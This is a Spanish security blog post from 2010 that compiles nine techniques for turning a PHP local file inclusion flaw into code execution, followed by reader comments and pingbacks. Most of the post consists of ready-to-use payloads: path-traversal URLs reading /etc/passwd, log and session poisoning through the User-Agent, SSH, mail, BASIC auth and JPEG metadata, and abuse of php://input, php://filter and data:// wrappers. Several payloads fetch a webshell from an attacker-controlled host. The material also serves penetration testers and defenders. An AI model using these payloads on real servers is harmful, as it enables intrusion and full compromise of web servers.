, 22 diciembre 2010 | Imprime

Este post no pretende ser una introducción o revisión exhaustiva de las vulnerabilidades de inclusión de código local o remoto. Por el contrario sí opino que la información concretamente de la explotación de un LFI se encuentra repetida hasta la saciedad, así como cada investigador ha aportado de forma dispersa pequeños trucos que amplían el espectro de explotación. Por lo tanto, creo que es interesante realizar una recopilación de estas mencionadas artimañas para conseguir el control de una máquina, permitiendo ésta la inclusión de código de forma local. Algunas de ellas son bastante conocidas, pero por el contrario, durante el trabajo de recopilación he dado con varias que desconocía y que me han sorprendido.

Muy brevemente comentaremos el punto de partida: un servidor Web que por ejemplo presenta una inclusión de código no sanitizada o filtrada correctamente. Aislando el código podría ser lo siguiente:

<?php
$param = $_GET['PARAM'];
include( $param . ‘.php’ );
?>

Pudiendo realizar un primer vector de ataque como:

http://servidor/vulnerable.php?param=../../../../../etc/passwd%00

Pero lo interesante de esta vulnerabilidad es como conseguir subir una webshell y poder obtener la posibilidad de ejecutar comandos del Sistema Operativo con los permisos del servidor Web, pudiendo comprometer completamente el servidor. Para ello y como se ha documentado ampliamente es necesario poder escribir código PHP en la máquina remota, utilizando algún tipo de log o registro.

El principal escollo será la configuración por defecto del motor de PHP, normalmente los parámetros del archivo “php.ini” “allow_url_include” y “allow_url_fopen”. Si ambos estuvieran a “On” no tendríamos mayor problema en realizar un RFI mediante:

http://servidor/vulnerable.php?param=http://servidorAtacante/webshell.txt%00

Pero lo que presenta un mayor reto es como conseguir el control o por lo menos poder obtener ventaja de un LFI con estos parámetros a “Off“. A continuación se recopilan algunas formas de poder escribir en ficheros del servidor web con el objetivo de poder ser incluidos posteriormente.

1. Utilizando el User-Agent

  • No “requiere allow_url_include” o “allow_url_fopen” a “on”
  • Requiere que se guarde en el access.log la cadena de acceso de User-Agent
  • Resultado: Ejecución de código PHP

Para explotar esta vulnerabilidad podemos mediante el complemento de Firefox Tamperdata, mediante Webscarab o Burp, modificar la cadena User-Agent introduciendo, por ejemplo, el código siguiente:

<?php system(‘GET http://servidorAtacante/webshell.txt > weshell.php’); ?>

Este vector de ataque suele ser muy efectivo.

2. Variables de sesión de PHP

  • No “requiere allow_url_include” o “allow_url_fopen” a “on”
  • Requiere de acceso a la variable
  • Resultado: Ejecución de código PHP

Este acción consiste en utilizar las variables de sesión que PHP gestiona normalmente en el directorio “/var/lib/php5/sess_ID”, donde ID es el identificador de nuestra sesión, consultable en las cookies que el servidor nos remite.

sess_2b560d9866ad8056bde7a9f8dbb0ca33

De esta manera tan sólo tenemos que sustituir por ejemplo el siguiente código

http://servidor/sesion.php?idioma=en

por:

http://servidor/idioma.php?idioma=<?php system(‘GET http://servidorAtacante/webshell.txt > weshell.php’); ?>

codificando el vector de ataque en URLencode. Por último, tan solo tenemos que realizar el include de dicha variable

http://servidor/vulnerable.php?param=../../../../../../var/lib/php5/sess_2b560d9866ad8056bde7a9f8dbb0ca33

3. Servicio sshd

  • No “requiere allow_url_include” o “allow_url_fopen” a “on”
  • Requiere que el servidor web se ejecute con privilegios de root
  • Requiere de el servicio sshd instalado y accesible
  • Límite de caracteres
  • Resultado: Ejecución de código PHP

Otra forma de poder escribir en un log del sistema remoto, con el objetivo de realizar el include posterior es utilizar el servicio de ssh si este se encuentra activo en el servidor. Para ello realizaremos una conexión ssh con el codigo PHP que queremos ejecutar como nombre de usuario y escapando los caracteres:

ssh \<\?php\ phpinfo\(\)\;\>@localhost

Acto seguido tan solo tenemos que incluir el archivo auth.log

http://servidor/vulnerable.php?param=../../../../../../var/log/auth.log

Este vector de ataque es más difícil de ejecutar, pero en estas cosas, nunca se sabe.

4. Metadatos de la cabecera jpg

  • No requiere “allow_url_include” o “allow_url_fopen” a “on
  • Requiere que el servidor permita subir imágenes
  • Resultado: Ejecución de código PHP

Para ello debemos subir al servidor una imagen jpg modificando su cabecera exim mediante el comando jhead.

jhead -cl “<?php system(‘GET http://servidorAtacante/webshell.txt > weshell.php’); ?>” imagen.jpg

Tras subir la imagen tan solo queda realizar el include:

http://servidor/vulnerable.php?param=rutaimagen/imagen.jpg

5. Utilizando la autenticación BASIC

  • No “requiere allow_url_include” o “allow_url_fopen” a “on”
  • Requiere que el servidor contenga una zona privada protegida con BASIC
  • Límite de caracteres
  • Resultado: Ejecución de código PHP

Para ello tan solo tenemos que introducir en el nombre de usuario el código PHP que deseamos ejecutar:

Quedando el access.log de la siguiente manera:

10.17.0.20 – <PHP? phpinfo();> [20/Dec/2010:18:19:24 +0100] “GET /…

Incluyendo posteriormente el archivo access.log:

http://servidor/vulnerable.php?param=../../../../../var/log/apache2/access.log

6. Utilizando el MTA local

  • No “requiere allow_url_include” o “allow_url_fopen” a “on”
  • Requiere de privilegios de root
  • Requiere de un servidor de correo instalado y accesible
  • Resultado: Ejecución de código PHP

Esta técnica es más complicada de explotar, pero podría ser posible remitir un correo electrónico a una cuenta del servidor e incluir el buzón del cliente localizado en /var/spool/mail/ o /var/log/maillog.

mail –s “<?php system(‘GET http://servidorAtacante/webshell.txt > weshell.php’); ?>” usuario@servidor.com

Realizando el include posterior:

http://servidor/vulnerable.php?param=../../../../../var/spool/mail/usuario

7. Utilizando los wrappers de php filter

  • No “requiere allow_url_include” o “allow_url_fopen” a “on”
  • Resultado: Descarga de código fuente PHP

Este vector es uno de los que más me ha sorprendido descubierto por diablohorn, ya que a priori con un LFI no es posible obtener el código php, porque lógicamente lo interpreta y lo ejecuta. De esta manera podemos descargar el fuente y buscar nuevas vulnerabilidades. Para ello utilizaremos la función “filter” apoyándonos en la conversión base64.

http://servidor/vulnerable.php?param=php://filter/convert.base64-encode/resource=vulnerable.php

Con el vector de ataque anterior descargaremos el fuente de vulnerable.php en base64.

8. Utilizando los wrappers de php input

  • Requiere “allow_url_include” y “allow_url_fopen” a “on”
  • Resultado: Ejecución de código PHP

Este ataque puede ser explotado llamando al wrapper de php “input” y pasando como parámetros post el código php que deseamos ejecutar. Como en casos anteriores podemos apoyarnos en Tamperdata, Webscarab o Burp, para forjar el paquete POST.

http://servidor/vulnerable.php?param=php://input

POST
<?php system(‘GET http://servidorAtacante/webshell.txt > weshell.php’); ?>

9. Utilizando los wrappers de php text

  • Requiere “allow_url_include” y “allow_url_fopen” a “on”
  • Resultado: Ejecución de código PHP

Este, que un principio creía de mi cosecha, fruto del proceso de estudio de los wrappers, me di cuenta que en algunos sites chinos aparece documentado, así que :(. El vector de ataque permite la ejecución de código PHP directamente en la URL

http://servidor/vulnerable.php?param=data://text/plain,%3C?php%20phpinfo();%20?%3E

El principal problema como el anterior, es la necesidad de tener activos los parámetros “allow_url_include” y “allow_url_fopen”.

De esta manera se han presentado 9 posibles formas de explotar un LFI, pero esto no acaba aquí. Tan solo hay que echarle imaginación y enfrentarse a un entorno particular para poder identificar posibles formas de escribir código en la máquina remota y así poder incluirlo posteriormente. Nuevos trucos son bienvenidos y el feedback de los lectores apreciado enormemente.

Referencias:

http://diablohorn.wordpress.com/2010/01/16/interesting-local-file-inclusion-method/
http://0verl0ad.blogspot.com/2008/08/local-file-inclusion-infectando.html
http://www.exploit-db.com/papers/12886/

(Puedes seguirnos en Twitter: @SecurityArtWork)
No me gusta esta entradaMe gusta esta entrada (+8 rating, 8 votes)
Loading ... Loading ...




7 comentarios a “Recopilación Local File Inclusion LFI”

(Tenga en cuenta que los comentarios en español y en inglés están mezclados por lo que puede necesitar un traductor online para entender los comentarios de otros usuarios)

[...] This post was mentioned on Twitter by Security Art Work, pula pula. pula pula said: Recopilacion local file inclusion LFI http://www.securityartwork.es/2010/12/22/recopilacion-local-file-inclusion-lfi/ [...]

Tweets that mention Recopilación Local File Inclusion LFI | Security Art Work — Topsy.com [web], 23 de diciembre de 2010, 1:13 am

[...] Recopilación Local File Inclusion LFI (…) Por lo tanto, creo que es interesante realizar una recopilación de estas mencionadas artimañas para conseguir el control de una máquina, permitiendo ésta la inclusión de código de forma local. Algunas de ellas son bastante conocidas, pero por el contrario, durante el trabajo de recopilación he dado con varias que desconocía y que me han sorprendido… [...]

de la red – 22/12/2010 « Tecnologías y su contexto [web], 23 de diciembre de 2010, 2:50 am

Loco, muy buena recopilacion :)

d5ck [web], 31 de diciembre de 2010, 3:33 pm

Gracias Duvan, un saludo.

ramado [web], 3 de enero de 2011, 11:44 am

[...] [...]

9 maneras de subir shell mediante LFI [web], 26 de enero de 2011, 6:29 am

[...] Contenido completo en Security Art Work http://www.segu-info.com.ar [...]

Shadow Security – Recopilación Local File Inclusion LFI [web], 20 de febrero de 2011, 8:38 pm
Local File Inclusion (L.F.I) VIII de VIII » "SAPERE AUDE" [web], 22 de abril de 2013, 3:40 am

Deja un comentario

(Los datos que nos proporciones serán incorporados al fichero LECTORES DEL BLOG cuyo responsable es S2 Grupo, cuya única finalidad es la gestión de las acciones e interacciones que se desarrollen con los usuarios de los blogs de S2 Grupo, entre los que se encuentra Security Art Work. Los datos recogidos no serán en ningún caso cedidos a terceras partes ni tratados para una finalidad distinta a la indicada. Puedes ejercer tus derechos de Acceso, Rectificación, Cancelación y Oposición enviando un correo a admin@securityartwork.es, en el que deberás proporcionarnos la información necesaria para verificar tu identidad. Para cualquier otra consulta o duda relativa a cómo gestionamos tus datos personales, puedes utilizar el mismo correo electrónico.)